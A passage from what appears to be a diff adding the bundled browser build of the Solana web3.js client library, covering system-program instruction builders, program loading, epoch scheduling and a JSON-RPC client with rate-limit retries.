new account at + * an address generated with `from`, a seed, and programId + */ + static createAccountWithSeed(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed; + const data = encodeData(type, { + base: toBuffer(params.basePubkey.toBuffer()), + seed: params.seed, + lamports: params.lamports, + space: params.space, + programId: toBuffer(params.programId.toBuffer()) + }); + let keys = [{ + pubkey: params.fromPubkey, + isSigner: true, + isWritable: true + }, { + pubkey: params.newAccountPubkey, + isSigner: false, + isWritable: true + }]; + if (!params.basePubkey.equals(params.fromPubkey)) { + keys.push({ + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }); + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction that creates a new Nonce account + */ + static createNonceAccount(params) { + const transaction = new Transaction(); + if ('basePubkey' in params && 'seed' in params) { + transaction.add(SystemProgram.createAccountWithSeed({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.noncePubkey, + basePubkey: params.basePubkey, + seed: params.seed, + lamports: params.lamports, + space: NONCE_ACCOUNT_LENGTH, + programId: this.programId + })); + } else { + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.noncePubkey, + lamports: params.lamports, + space: NONCE_ACCOUNT_LENGTH, + programId: this.programId + })); + } + const initParams = { + noncePubkey: params.noncePubkey, + authorizedPubkey: params.authorizedPubkey + }; + transaction.add(this.nonceInitialize(initParams)); + return transaction; + } + + /** + * Generate an instruction to initialize a Nonce account + */ + static nonceInitialize(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount; + const data = encodeData(type, { + authorized: toBuffer(params.authorizedPubkey.toBuffer()) + }); + const instructionData = { + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate an instruction to advance the nonce in a Nonce account + */ + static nonceAdvance(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount; + const data = encodeData(type); + const instructionData = { + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: params.authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate a transaction instruction that withdraws lamports from a Nonce account + */ + static nonceWithdraw(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount; + const data = encodeData(type, { + lamports: params.lamports + }); + return new TransactionInstruction({ + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.toPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: params.authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that authorizes a new PublicKey as the authority + * on a Nonce account. + */ + static nonceAuthorize(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount; + const data = encodeData(type, { + authorized: toBuffer(params.newAuthorizedPubkey.toBuffer()) + }); + return new TransactionInstruction({ + keys: [{ + pubkey: params.noncePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that allocates space in an account without funding + */ + static allocate(params) { + let data; + let keys; + if ('basePubkey' in params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed; + data = encodeData(type, { + base: toBuffer(params.basePubkey.toBuffer()), + seed: params.seed, + space: params.space, + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }]; + } else { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Allocate; + data = encodeData(type, { + space: params.space + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: true, + isWritable: true + }]; + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } +} +SystemProgram.programId = new PublicKey('11111111111111111111111111111111'); + +// Keep program chunks under PACKET_DATA_SIZE, leaving enough room for the +// rest of the Transaction fields +// +// TODO: replace 300 with a proper constant for the size of the other +// Transaction fields +const CHUNK_SIZE = PACKET_DATA_SIZE - 300; + +/** + * Program loader interface + */ +class Loader { + /** + * @internal + */ + constructor() {} + + /** + * Amount of program data placed in each load Transaction + */ + + /** + * Minimum number of signatures required to load a program not including + * retries + * + * Can be used to calculate transaction fees + */ + static getMinNumSignatures(dataLength) { + return 2 * ( + // Every transaction requires two signatures (payer + program) + Math.ceil(dataLength / Loader.chunkSize) + 1 + + // Add one for Create transaction + 1) // Add one for Finalize transaction + ; + } + + /** + * Loads a generic program + * + * @param connection The connection to use + * @param payer System account that pays to load the program + * @param program Account to load the program into + * @param programId Public key that identifies the loader + * @param data Program octets + * @return true if program was loaded successfully, false if program was already loaded + */ + static async load(connection, payer, program, programId, data) { + { + const balanceNeeded = await connection.getMinimumBalanceForRentExemption(data.length); + + // Fetch program account info to check if it has already been created + const programInfo = await connection.getAccountInfo(program.publicKey, 'confirmed'); + let transaction = null; + if (programInfo !== null) { + if (programInfo.executable) { + console.error('Program load failed, account is already executable'); + return false; + } + if (programInfo.data.length !== data.length) { + transaction = transaction || new Transaction(); + transaction.add(SystemProgram.allocate({ + accountPubkey: program.publicKey, + space: data.length + })); + } + if (!programInfo.owner.equals(programId)) { + transaction = transaction || new Transaction(); + transaction.add(SystemProgram.assign({ + accountPubkey: program.publicKey, + programId + })); + } + if (programInfo.lamports < balanceNeeded) { + transaction = transaction || new Transaction(); + transaction.add(SystemProgram.transfer({ + fromPubkey: payer.publicKey, + toPubkey: program.publicKey, + lamports: balanceNeeded - programInfo.lamports + })); + } + } else { + transaction = new Transaction().add(SystemProgram.createAccount({ + fromPubkey: payer.publicKey, + newAccountPubkey: program.publicKey, + lamports: balanceNeeded > 0 ? balanceNeeded : 1, + space: data.length, + programId + })); + } + + // If the account is already created correctly, skip this step + // and proceed directly to loading instructions + if (transaction !== null) { + await sendAndConfirmTransaction(connection, transaction, [payer, program], { + commitment: 'confirmed' + }); + } + } + const dataLayout = BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.u32('offset'), BufferLayout.u32('bytesLength'), BufferLayout.u32('bytesLengthPadding'), BufferLayout.seq(BufferLayout.u8('byte'), BufferLayout.offset(BufferLayout.u32(), -8), 'bytes')]); + const chunkSize = Loader.chunkSize; + let offset = 0; + let array = data; + let transactions = []; + while (array.length > 0) { + const bytes = array.slice(0, chunkSize); + const data = Buffer.alloc(chunkSize + 16); + dataLayout.encode({ + instruction: 0, + // Load instruction + offset, + bytes: bytes, + bytesLength: 0, + bytesLengthPadding: 0 + }, data); + const transaction = new Transaction().add({ + keys: [{ + pubkey: program.publicKey, + isSigner: true, + isWritable: true + }], + programId, + data + }); + transactions.push(sendAndConfirmTransaction(connection, transaction, [payer, program], { + commitment: 'confirmed' + })); + + // Delay between sends in an attempt to reduce rate limit errors + if (connection._rpcEndpoint.includes('solana.com')) { + const REQUESTS_PER_SECOND = 4; + await sleep(1000 / REQUESTS_PER_SECOND); + } + offset += chunkSize; + array = array.slice(chunkSize); + } + await Promise.all(transactions); + + // Finalize the account loaded with program data for execution + { + const dataLayout = BufferLayout.struct([BufferLayout.u32('instruction')]); + const data = Buffer.alloc(dataLayout.span); + dataLayout.encode({ + instruction: 1 // Finalize instruction + }, data); + const transaction = new Transaction().add({ + keys: [{ + pubkey: program.publicKey, + isSigner: true, + isWritable: true + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }], + programId, + data + }); + const deployCommitment = 'processed'; + const finalizeSignature = await connection.sendTransaction(transaction, [payer, program], { + preflightCommitment: deployCommitment + }); + const { + context, + value + } = await connection.confirmTransaction({ + signature: finalizeSignature, + lastValidBlockHeight: transaction.lastValidBlockHeight, + blockhash: transaction.recentBlockhash + }, deployCommitment); + if (value.err) { + throw new Error(`Transaction ${finalizeSignature} failed (${JSON.stringify(value)})`); + } + // We prevent programs from being usable until the slot after their deployment. + // See https://github.com/solana-labs/solana/pull/29654 + while (true // eslint-disable-line no-constant-condition + ) { + try { + const currentSlot = await connection.getSlot({ + commitment: deployCommitment + }); + if (currentSlot > context.slot) { + break; + } + } catch { + /* empty */ + } + await new Promise(resolve => setTimeout(resolve, Math.round(MS_PER_SLOT / 2))); + } + } + + // success + return true; + } +} +Loader.chunkSize = CHUNK_SIZE; + +/** + * @deprecated Deprecated since Solana v1.17.20. + */ +const BPF_LOADER_PROGRAM_ID = new PublicKey('BPFLoader2111111111111111111111111111111111'); + +/** + * Factory class for transactions to interact with a program loader + * + * @deprecated Deprecated since Solana v1.17.20. + */ +class BpfLoader { + /** + * Minimum number of signatures required to load a program not including + * retries + * + * Can be used to calculate transaction fees + */ + static getMinNumSignatures(dataLength) { + return Loader.getMinNumSignatures(dataLength); + } + + /** + * Load a SBF program + * + * @param connection The connection to use + * @param payer Account that will pay program loading fees + * @param program Account to load the program into + * @param elf The entire ELF containing the SBF program + * @param loaderProgramId The program id of the BPF loader to use + * @return true if program was loaded successfully, false if program was already loaded + */ + static load(connection, payer, program, elf, loaderProgramId) { + return Loader.load(connection, payer, program, loaderProgramId, elf); + } +} + +function getDefaultExportFromCjs (x) { + return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, 'default') ? x['default'] : x; +} + +var fastStableStringify$1; +var hasRequiredFastStableStringify; + +function requireFastStableStringify () { + if (hasRequiredFastStableStringify) return fastStableStringify$1; + hasRequiredFastStableStringify = 1; + var objToString = Object.prototype.toString; + var objKeys = Object.keys || function(obj) { + var keys = []; + for (var name in obj) { + keys.push(name); + } + return keys; + }; + + function stringify(val, isArrayProp) { + var i, max, str, keys, key, propVal, toStr; + if (val === true) { + return "true"; + } + if (val === false) { + return "false"; + } + switch (typeof val) { + case "object": + if (val === null) { + return null; + } else if (val.toJSON && typeof val.toJSON === "function") { + return stringify(val.toJSON(), isArrayProp); + } else { + toStr = objToString.call(val); + if (toStr === "[object Array]") { + str = '['; + max = val.length - 1; + for(i = 0; i < max; i++) { + str += stringify(val[i], true) + ','; + } + if (max > -1) { + str += stringify(val[i], true); + } + return str + ']'; + } else if (toStr === "[object Object]") { + // only object is left + keys = objKeys(val).sort(); + max = keys.length; + str = ""; + i = 0; + while (i < max) { + key = keys[i]; + propVal = stringify(val[key], false); + if (propVal !== undefined) { + if (str) { + str += ','; + } + str += JSON.stringify(key) + ':' + propVal; + } + i++; + } + return '{' + str + '}'; + } else { + return JSON.stringify(val); + } + } + case "function": + case "undefined": + return isArrayProp ? null : undefined; + case "string": + return JSON.stringify(val); + default: + return isFinite(val) ? val : null; + } + } + + fastStableStringify$1 = function(val) { + var returnVal = stringify(val, false); + if (returnVal !== undefined) { + return ''+ returnVal; + } + }; + return fastStableStringify$1; +} + +var fastStableStringifyExports = /*@__PURE__*/ requireFastStableStringify(); +var fastStableStringify = /*@__PURE__*/getDefaultExportFromCjs(fastStableStringifyExports); + +const MINIMUM_SLOT_PER_EPOCH = 32; + +// Returns the number of trailing zeros in the binary representation of self. +function trailingZeros(n) { + let trailingZeros = 0; + while (n > 1) { + n /= 2; + trailingZeros++; + } + return trailingZeros; +} + +// Returns the smallest power of two greater than or equal to n +function nextPowerOfTwo(n) { + if (n === 0) return 1; + n--; + n |= n >> 1; + n |= n >> 2; + n |= n >> 4; + n |= n >> 8; + n |= n >> 16; + n |= n >> 32; + return n + 1; +} + +/** + * Epoch schedule + * (see https://docs.solana.com/terminology#epoch) + * Can be retrieved with the {@link Connection.getEpochSchedule} method + */ +class EpochSchedule { + constructor(slotsPerEpoch, leaderScheduleSlotOffset, warmup, firstNormalEpoch, firstNormalSlot) { + /** The maximum number of slots in each epoch */ + this.slotsPerEpoch = void 0; + /** The number of slots before beginning of an epoch to calculate a leader schedule for that epoch */ + this.leaderScheduleSlotOffset = void 0; + /** Indicates whether epochs start short and grow */ + this.warmup = void 0; + /** The first epoch with `slotsPerEpoch` slots */ + this.firstNormalEpoch = void 0; + /** The first slot of `firstNormalEpoch` */ + this.firstNormalSlot = void 0; + this.slotsPerEpoch = slotsPerEpoch; + this.leaderScheduleSlotOffset = leaderScheduleSlotOffset; + this.warmup = warmup; + this.firstNormalEpoch = firstNormalEpoch; + this.firstNormalSlot = firstNormalSlot; + } + getEpoch(slot) { + return this.getEpochAndSlotIndex(slot)[0]; + } + getEpochAndSlotIndex(slot) { + if (slot < this.firstNormalSlot) { + const epoch = trailingZeros(nextPowerOfTwo(slot + MINIMUM_SLOT_PER_EPOCH + 1)) - trailingZeros(MINIMUM_SLOT_PER_EPOCH) - 1; + const epochLen = this.getSlotsInEpoch(epoch); + const slotIndex = slot - (epochLen - MINIMUM_SLOT_PER_EPOCH); + return [epoch, slotIndex]; + } else { + const normalSlotIndex = slot - this.firstNormalSlot; + const normalEpochIndex = Math.floor(normalSlotIndex / this.slotsPerEpoch); + const epoch = this.firstNormalEpoch + normalEpochIndex; + const slotIndex = normalSlotIndex % this.slotsPerEpoch; + return [epoch, slotIndex]; + } + } + getFirstSlotInEpoch(epoch) { + if (epoch <= this.firstNormalEpoch) { + return (Math.pow(2, epoch) - 1) * MINIMUM_SLOT_PER_EPOCH; + } else { + return (epoch - this.firstNormalEpoch) * this.slotsPerEpoch + this.firstNormalSlot; + } + } + getLastSlotInEpoch(epoch) { + return this.getFirstSlotInEpoch(epoch) + this.getSlotsInEpoch(epoch) - 1; + } + getSlotsInEpoch(epoch) { + if (epoch < this.firstNormalEpoch) { + return Math.pow(2, epoch + trailingZeros(MINIMUM_SLOT_PER_EPOCH)); + } else { + return this.slotsPerEpoch; + } + } +} + +var fetchImpl = globalThis.fetch; + +class RpcWebSocketClient extends CommonClient { + constructor(address, options, generate_request_id) { + const webSocketFactory = url => { + const rpc = WebSocket(url, { + autoconnect: true, + max_reconnects: 5, + reconnect: true, + reconnect_interval: 1000, + ...options + }); + if ('socket' in rpc) { + this.underlyingSocket = rpc.socket; + } else { + this.underlyingSocket = rpc; + } + return rpc; + }; + super(webSocketFactory, address, options, generate_request_id); + this.underlyingSocket = void 0; + } + call(...args) { + const readyState = this.underlyingSocket?.readyState; + if (readyState === 1 /* WebSocket.OPEN */) { + return super.call(...args); + } + return Promise.reject(new Error('Tried to call a JSON-RPC method `' + args[0] + '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' + readyState + ')')); + } + notify(...args) { + const readyState = this.underlyingSocket?.readyState; + if (readyState === 1 /* WebSocket.OPEN */) { + return super.notify(...args); + } + return Promise.reject(new Error('Tried to send a JSON-RPC notification `' + args[0] + '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' + readyState + ')')); + } +} + +/** + * @internal + */ + +/** + * Decode account data buffer using an AccountType + * @internal + */ +function decodeData(type, data) { + let decoded; + try { + decoded = type.layout.decode(data); + } catch (err) { + throw new Error('invalid instruction; ' + err); + } + if (decoded.typeIndex !== type.index) { + throw new Error(`invalid account data; account type mismatch ${decoded.typeIndex} != ${type.index}`); + } + return decoded; +} + +/// The serialized size of lookup table metadata +const LOOKUP_TABLE_META_SIZE = 56; +class AddressLookupTableAccount { + constructor(args) { + this.key = void 0; + this.state = void 0; + this.key = args.key; + this.state = args.state; + } + isActive() { + const U64_MAX = BigInt('0xffffffffffffffff'); + return this.state.deactivationSlot === U64_MAX; + } + static deserialize(accountData) { + const meta = decodeData(LookupTableMetaLayout, accountData); + const serializedAddressesLen = accountData.length - LOOKUP_TABLE_META_SIZE; + assert(serializedAddressesLen >= 0, 'lookup table is invalid'); + assert(serializedAddressesLen % 32 === 0, 'lookup table is invalid'); + const numSerializedAddresses = serializedAddressesLen / 32; + const { + addresses + } = BufferLayout.struct([BufferLayout.seq(publicKey(), numSerializedAddresses, 'addresses')]).decode(accountData.slice(LOOKUP_TABLE_META_SIZE)); + return { + deactivationSlot: meta.deactivationSlot, + lastExtendedSlot: meta.lastExtendedSlot, + lastExtendedSlotStartIndex: meta.lastExtendedStartIndex, + authority: meta.authority.length !== 0 ? new PublicKey(meta.authority[0]) : undefined, + addresses: addresses.map(address => new PublicKey(address)) + }; + } +} +const LookupTableMetaLayout = { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('typeIndex'), u64('deactivationSlot'), BufferLayout.nu64('lastExtendedSlot'), BufferLayout.u8('lastExtendedStartIndex'), BufferLayout.u8(), + // option + BufferLayout.seq(publicKey(), BufferLayout.offset(BufferLayout.u8(), -1), 'authority')]) +}; + +const URL_RE = /^[^:]+:\/\/([^:[]+|\[[^\]]+\])(:\d+)?(.*)/i; +function makeWebsocketUrl(endpoint) { + const matches = endpoint.match(URL_RE); + if (matches == null) { + throw TypeError(`Failed to validate endpoint URL \`${endpoint}\``); + } + const [_, + // eslint-disable-line @typescript-eslint/no-unused-vars + hostish, portWithColon, rest] = matches; + const protocol = endpoint.startsWith('https:') ? 'wss:' : 'ws:'; + const startPort = portWithColon == null ? null : parseInt(portWithColon.slice(1), 10); + const websocketPort = + // Only shift the port by +1 as a convention for ws(s) only if given endpoint + // is explicitly specifying the endpoint port (HTTP-based RPC), assuming + // we're directly trying to connect to agave-validator's ws listening port. + // When the endpoint omits the port, we're connecting to the protocol + // default ports: http(80) or https(443) and it's assumed we're behind a reverse + // proxy which manages WebSocket upgrade and backend port redirection. + startPort == null ? '' : `:${startPort + 1}`; + return `${protocol}//${hostish}${websocketPort}${rest}`; +} + +const PublicKeyFromString = coerce(instance(PublicKey), string(), value => new PublicKey(value)); +const RawAccountDataResult = tuple([string(), literal('base64')]); +const BufferFromRawAccountData = coerce(instance(Buffer), RawAccountDataResult, value => Buffer.from(value[0], 'base64')); + +/** + * Attempt to use a recent blockhash for up to 30 seconds + * @internal + */ +const BLOCKHASH_CACHE_TIMEOUT_MS = 30 * 1000; + +/** + * HACK. + * Copied from rpc-websockets/dist/lib/client. + * Otherwise, `yarn build` fails with: + * https://gist.github.com/steveluscher/c057eca81d479ef705cdb53162f9971d + */ + +/** @internal */ +/** @internal */ +/** @internal */ +/** @internal */ + +/** @internal */ +/** + * @internal + * Every subscription contains the args used to open the subscription with + * the server, and a list of callers interested in notifications. + */ + +/** + * @internal + * A subscription may be in various states of connectedness. Only when it is + * fully connected will it have a server subscription id associated with it. + * This id can be returned to the server to unsubscribe the client entirely. + */ + +/** + * A type that encapsulates a subscription's RPC method + * names and notification (callback) signature. + */ + +/** + * @internal + * Utility type that keeps tagged unions intact while omitting properties. + */ + +/** + * @internal + * This type represents a single subscribable 'topic.' It's made up of: + * + * - The args used to open the subscription with the server, + * - The state of the subscription, in terms of its connectedness, and + * - The set of callbacks to call when the server publishes notifications + * + * This record gets indexed by `SubscriptionConfigHash` and is used to + * set up subscriptions, fan out notifications, and track subscription state. + */ + +/** + * @internal + */ + +/** + * Extra contextual information for RPC responses + */ + +/** + * Options for sending transactions + */ + +/** + * Options for confirming transactions + */ + +/** + * Options for getConfirmedSignaturesForAddress2 + */ + +/** + * Options for getSignaturesForAddress + */ + +/** + * RPC Response with extra contextual information + */ + +/** + * A strategy for confirming transactions that uses the last valid + * block height for a given blockhash to check for transaction expiration. + */ + +/** + * A strategy for confirming durable nonce transactions. + */ + +/** + * Properties shared by all transaction confirmation strategies + */ + +/** + * This type represents all transaction confirmation strategies + */ + +/* @internal */ +function assertEndpointUrl(putativeUrl) { + if (/^https?:/.test(putativeUrl) === false) { + throw new TypeError('Endpoint URL must start with `http:` or `https:`.'); + } + return putativeUrl; +} + +/** @internal */ +function extractCommitmentFromConfig(commitmentOrConfig) { + let commitment; + let config; + if (typeof commitmentOrConfig === 'string') { + commitment = commitmentOrConfig; + } else if (commitmentOrConfig) { + const { + commitment: specifiedCommitment, + ...specifiedConfig + } = commitmentOrConfig; + commitment = specifiedCommitment; + config = specifiedConfig; + } + return { + commitment, + config + }; +} + +/** + * @internal + */ +function applyDefaultMemcmpEncodingToFilters(filters) { + return filters.map(filter => 'memcmp' in filter ? { + ...filter, + memcmp: { + ...filter.memcmp, + encoding: filter.memcmp.encoding ?? 'base58' + } + } : filter); +} + +/** + * @internal + */ +function createRpcResult(result) { + return union([type({ + jsonrpc: literal('2.0'), + id: string(), + result + }), type({ + jsonrpc: literal('2.0'), + id: string(), + error: type({ + code: unknown(), + message: string(), + data: optional(any()) + }) + })]); +} +const UnknownRpcResult = createRpcResult(unknown()); + +/** + * @internal + */ +function jsonRpcResult(schema) { + return coerce(createRpcResult(schema), UnknownRpcResult, value => { + if ('error' in value) { + return value; + } else { + return { + ...value, + result: create(value.result, schema) + }; + } + }); +} + +/** + * @internal + */ +function jsonRpcResultAndContext(value) { + return jsonRpcResult(type({ + context: type({ + slot: number() + }), + value + })); +} + +/** + * @internal + */ +function notificationResultAndContext(value) { + return type({ + context: type({ + slot: number() + }), + value + }); +} + +/** + * @internal + */ +function versionedMessageFromResponse(version, response) { + if (version === 0) { + return new MessageV0({ + header: response.header, + staticAccountKeys: response.accountKeys.map(accountKey => new PublicKey(accountKey)), + recentBlockhash: response.recentBlockhash, + compiledInstructions: response.instructions.map(ix => ({ + programIdIndex: ix.programIdIndex, + accountKeyIndexes: ix.accounts, + data: bs58.decode(ix.data) + })), + addressTableLookups: response.addressTableLookups + }); + } else { + return new Message(response); + } +} + +/** + * The level of commitment desired when querying state + *
+ *   'processed': Query the most recent block which has reached 1 confirmation by the connected node
+ *   'confirmed': Query the most recent block which has reached 1 confirmation by the cluster
+ *   'finalized': Query the most recent block which has been finalized by the cluster
+ * 
+ */ + +// Deprecated as of v1.5.5 + +/** + * A subset of Commitment levels, which are at least optimistically confirmed + *
+ *   'confirmed': Query the most recent block which has reached 1 confirmation by the cluster
+ *   'finalized': Query the most recent block which has been finalized by the cluster
+ * 
+ */ + +/** + * Filter for largest accounts query + *
+ *   'circulating':    Return the largest accounts that are part of the circulating supply
+ *   'nonCirculating': Return the largest accounts that are not part of the circulating supply
+ * 
+ */ + +/** + * Configuration object for changing `getAccountInfo` query behavior + */ + +/** + * Configuration object for changing `getBalance` query behavior + */ + +/** + * Configuration object for changing `getBlock` query behavior + */ + +/** + * Configuration object for changing `getBlock` query behavior + */ + +/** + * Configuration object for changing `getStakeMinimumDelegation` query behavior + */ + +/** + * Configuration object for changing `getBlockHeight` query behavior + */ + +/** + * Configuration object for changing `getEpochInfo` query behavior + */ + +/** + * Configuration object for changing `getInflationReward` query behavior + */ + +/** + * Configuration object for changing `getLatestBlockhash` query behavior + */ + +/** + * Configuration object for changing `isBlockhashValid` query behavior + */ + +/** + * Configuration object for changing `getSlot` query behavior + */ + +/** + * Configuration object for changing `getSlotLeader` query behavior + */ + +/** + * Configuration object for changing `getTransaction` query behavior + */ + +/** + * Configuration object for changing `getTransaction` query behavior + */ + +/** + * Configuration object for changing `getLargestAccounts` query behavior + */ + +/** + * Configuration object for changing `getSupply` request behavior + */ + +/** + * Configuration object for changing query behavior + */ + +/** + * Information describing a cluster node + */ + +/** + * Information describing a vote account + */ + +/** + * A collection of cluster vote accounts + */ + +/** + * Network Inflation + * (see https://docs.solana.com/implemented-proposals/ed_overview) + */ + +const GetInflationGovernorResult = type({ + foundation: number(), + foundationTerm: number(), + initial: number(), + taper: number(), + terminal: number() +}); + +/** + * The inflation reward for an epoch + */ + +/** + * Expected JSON RPC response for the "getInflationReward" message + */ +const GetInflationRewardResult = jsonRpcResult(array(nullable(type({ + epoch: number(), + effectiveSlot: number(), + amount: number(), + postBalance: number(), + commission: optional(nullable(number())) +})))); + +/** + * Configuration object for changing `getRecentPrioritizationFees` query behavior + */ + +/** + * Expected JSON RPC response for the "getRecentPrioritizationFees" message + */ +const GetRecentPrioritizationFeesResult = array(type({ + slot: number(), + prioritizationFee: number() +})); +/** + * Expected JSON RPC response for the "getInflationRate" message + */ +const GetInflationRateResult = type({ + total: number(), + validator: number(), + foundation: number(), + epoch: number() +}); + +/** + * Information about the current epoch + */ + +const GetEpochInfoResult = type({ + epoch: number(), + slotIndex: number(), + slotsInEpoch: number(), + absoluteSlot: number(), + blockHeight: optional(number()), + transactionCount: optional(number()) +}); +const GetEpochScheduleResult = type({ + slotsPerEpoch: number(), + leaderScheduleSlotOffset: number(), + warmup: boolean(), + firstNormalEpoch: number(), + firstNormalSlot: number() +}); + +/** + * Leader schedule + * (see https://docs.solana.com/terminology#leader-schedule) + */ + +const GetLeaderScheduleResult = record(string(), array(number())); + +/** + * Transaction error or null + */ +const TransactionErrorResult = nullable(union([type({}), string()])); + +/** + * Signature status for a transaction + */ +const SignatureStatusResult = type({ + err: TransactionErrorResult +}); + +/** + * Transaction signature received notification + */ +const SignatureReceivedResult = literal('receivedSignature'); + +/** + * Version info for a node + */ + +const VersionResult = type({ + 'solana-core': string(), + 'feature-set': optional(number()) +}); +const ParsedInstructionStruct = type({ + program: string(), + programId: PublicKeyFromString, + parsed: unknown() +}); +const PartiallyDecodedInstructionStruct = type({ + programId: PublicKeyFromString, + accounts: array(PublicKeyFromString), + data: string() +}); +const SimulatedTransactionResponseStruct = jsonRpcResultAndContext(type({ + err: nullable(union([type({}), string()])), + logs: nullable(array(string())), + accounts: optional(nullable(array(nullable(type({ + executable: boolean(), + owner: string(), + lamports: number(), + data: array(string()), + rentEpoch: optional(number()) + }))))), + unitsConsumed: optional(number()), + returnData: optional(nullable(type({ + programId: string(), + data: tuple([string(), literal('base64')]) + }))), + innerInstructions: optional(nullable(array(type({ + index: number(), + instructions: array(union([ParsedInstructionStruct, PartiallyDecodedInstructionStruct])) + })))) +})); + +/** + * Metadata for a parsed confirmed transaction on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionMeta} instead. + */ + +/** + * Collection of addresses loaded by a transaction using address table lookups + */ + +/** + * Metadata for a parsed transaction on the ledger + */ + +/** + * Metadata for a confirmed transaction on the ledger + */ + +/** + * A processed transaction from the RPC API + */ + +/** + * A processed transaction from the RPC API + */ + +/** + * A processed transaction message from the RPC API + */ + +/** + * A confirmed transaction on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. + */ + +/** + * A partially decoded transaction instruction + */ + +/** + * A parsed transaction message account + */ + +/** + * A parsed transaction instruction + */ + +/** + * A parsed address table lookup + */ + +/** + * A parsed transaction message + */ + +/** + * A parsed transaction + */ + +/** + * A parsed and confirmed transaction on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionWithMeta} instead. + */ + +/** + * A parsed transaction on the ledger with meta + */ + +/** + * A processed block fetched from the RPC API + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts` + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `none` + */ + +/** + * A block with parsed transactions + */ + +/** + * A block with parsed transactions where the `transactionDetails` mode is `accounts` + */ + +/** + * A block with parsed transactions where the `transactionDetails` mode is `none` + */ + +/** + * A processed block fetched from the RPC API + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts` + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `none` + */ + +/** + * A confirmed block on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. + */ + +/** + * A Block on the ledger with signatures only + */ + +/** + * recent block production information + */ + +/** + * Expected JSON RPC response for the "getBlockProduction" message + */ +const BlockProductionResponseStruct = jsonRpcResultAndContext(type({ + byIdentity: record(string(), array(number())), + range: type({ + firstSlot: number(), + lastSlot: number() + }) +})); + +/** + * A performance sample + */ + +function createRpcClient(url, httpHeaders, customFetch, fetchMiddleware, disableRetryOnRateLimit, httpAgent) { + const fetch = customFetch ? customFetch : fetchImpl; + let agent; + { + if (httpAgent != null) { + console.warn('You have supplied an `httpAgent` when creating a `Connection` in a browser environment.' + 'It has been ignored; `httpAgent` is only used in Node environments.'); + } + } + let fetchWithMiddleware; + if (fetchMiddleware) { + fetchWithMiddleware = async (info, init) => { + const modifiedFetchArgs = await new Promise((resolve, reject) => { + try { + fetchMiddleware(info, init, (modifiedInfo, modifiedInit) => resolve([modifiedInfo, modifiedInit])); + } catch (error) { + reject(error); + } + }); + return await fetch(...modifiedFetchArgs); + }; + } + const clientBrowser = new RpcClient(async (request, callback) => { + const options = { + method: 'POST', + body: request, + agent, + headers: Object.assign({ + 'Content-Type': 'application/json' + }, httpHeaders || {}, COMMON_HTTP_HEADERS) + }; + try { + let too_many_requests_retries = 5; + let res; + let waitTime = 500; + for (;;) { + if (fetchWithMiddleware) { + res = await fetchWithMiddleware(url, options); + } else { + res = await fetch(url, options); + } + if (res.status !== 429 /* Too many requests */) { + break; + } + if (disableRetryOnRateLimit === true) { + break; + } + too_many_requests_retries -= 1; + if (too_many_requests_retries === 0) { + break; + } + console.error(`Server responded with ${res.status} ${res.statusText}. Retrying after ${waitTime}ms delay...`); + await sleep(waitTime); + waitTime *= 2; + } + const text = await res.text(); + if (res.ok) { + callback(null, text); + } else { + callback(new Error(`${res.status} ${res.statusText}: ${text}`)); + } + } catch (err) { + if (err instanceof Error) callback(err); + } + }, {}); + return clientBrowser; +} +function createRpcRequest(client) { + return (method, args) => { + return new Promise((resolve, reject) => { + client.request(method, args, (err, response) => { + if (err) { + reject(err); + return; + } + resolve(response); + }); + }); + }; +} +function 